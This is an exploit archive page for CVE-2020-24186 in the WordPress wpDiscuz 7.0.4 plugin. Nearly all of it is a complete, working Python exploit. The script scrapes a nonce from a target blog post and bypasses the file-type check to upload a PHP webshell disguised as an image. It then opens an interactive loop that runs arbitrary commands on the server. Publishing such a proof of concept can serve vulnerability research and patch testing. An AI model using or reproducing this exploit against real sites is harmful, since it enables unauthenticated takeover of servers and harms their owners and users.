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WordPress wpDiscuz 7.0.4 Remote Code Execution

WordPress wpDiscuz 7.0.4 Remote Code Execution
Posted Jun 8, 2021
Authored by Fellipe Oliveira

WordPress wpDiscuz plugin version 7.0.4 unauthenticated remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2020-24186
SHA-256 | aa63e68f2bfdeedda7921d223b7b89c35603743db979d8834247d72fc6863c1e

WordPress wpDiscuz 7.0.4 Remote Code Execution

Change Mirror Download
#!/bin/python3

# Exploit Title: WordPress Plugin wpDiscuz 7.0.4 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2021/06/08
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://gvectors.com/
# Software Link: https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
# Version: wpDiscuz 7.0.4
# Tested on: Debian9, Windows 7, Windows 10 (Wordpress 5.7.2)
# CVE : CVE-2020-24186
# Thanks for the great contribution to the code: Z3roC00l (https://twitter.com/zeroc00I)

import requests
import optparse
import re
import random
import time
import string
import json

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://192.168.1.81/blog")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /2021/06/blogpost")


options, args = parser.parse_args()

if not options.url or not options.path:
print('[+] Specify an url target')
print('[+] Example usage: exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost')
print('[+] Example help usage: exploit.py -h')
exit()

session = requests.Session()

main_url = options.url
path = options.path
url_blog = main_url + path
clean_host = main_url.replace('http://', '').replace('/wordpress','')

def banner():
print('---------------------------------------------------------------')
print('[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution')
print('[-] File Upload Bypass Vulnerability - PHP Webshell Upload')
print('[-] CVE: CVE-2020-24186')
print('[-] https://github.com/hevox')
print('--------------------------------------------------------------- \n')

def csrfRequest():
global wmuSec
global wc_post_id

try:
get_html = session.get(url_blog)
response_len = str(len(get_html.text))
response_code = str(get_html.status_code)
print('[+] Response length:['+response_len+'] | code:['+response_code+']')

raw_wmu = get_html.text.replace(',','\n')
wmuSec = re.findall('wmuSecurity.*$',raw_wmu,re.MULTILINE)[0].split('"')[2]
print('[!] Got wmuSecurity value: '+ wmuSec +'')
raw_postID = get_html.text.replace(',','\n')
wc_post_id = re.findall('wc_post_id.*$',raw_postID,re.MULTILINE)[0].split('"')[2]
print('[!] Got wmuSecurity value: '+ wc_post_id +' \n')

except requests.exceptions.ConnectionError as err:
print('\n[x] Failed to Connect in: '+url_blog+' ')
print('[x] This host seems to be Down')
exit()


def nameRandom():
global shell_name
print('[+] Generating random name for Webshell...')
shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))
time.sleep(1)
print('[!] Generated webshell name: '+shell_name+'\n')

return shell_name


def shell_upload():
global shell
print('[!] Trying to Upload Webshell..')
try:
upload_url = main_url + "/wp-admin/admin-ajax.php"
upload_cookies = {"wordpress_test_cookie": "WP%20Cookie%20check", "wpdiscuz_hide_bubble_hint": "1"}
upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------2032192841253859011643762941", "Origin": "http://"+clean_host+"", "Connection": "close", "Referer": url_blog}
upload_data = "-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nwmuUploadFiles\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_nonce\"\r\n\r\n"+wmuSec+"\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmuAttachmentsData\"\r\n\r\n\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\""+shell_name+".php\"\r\nContent-Type: image/png\r\n\r\nGIF689a;\r\n\r\n<?php system($_GET['cmd']); ?>\r\n\x1a\x82\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"postId\"\r\n\r\n"+wc_post_id+"\r\n-----------------------------2032192841253859011643762941--\r\n"
check = session.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data)
json_object = (json.loads(check.text))
status = (json_object["success"])

get_path = (check.text.replace(',','\n'))
shell_pret = re.findall('url.*$',get_path,re.MULTILINE)
find_shell = str(shell_pret)
raw = (find_shell.replace('\\','').replace('url":"','').replace('\',','').replace('"','').replace('[\'',''))
shell = (raw.split(" ",1)[0])

if status == True:
print('[+] Upload Success... Webshell path:' +shell+' \n')
else:
print('[x] Failed to Upload Webshell in: '+ url_blog +' ')
exit()

except requests.exceptions.HTTPError as conn:
print('[x] Failed to Upload Webshell in: '+ url_blog +' ')

return shell


def code_exec():
try:
while True:
cmd = input('> ')
codex = session.get(shell + '?cmd='+cmd+'')
print(codex.text.replace('GIF689a;','').replace('�',''))
except:
print('\n[x] Failed to execute PHP code...')


banner()
csrfRequest()
nameRandom()
shell_upload()
code_exec()
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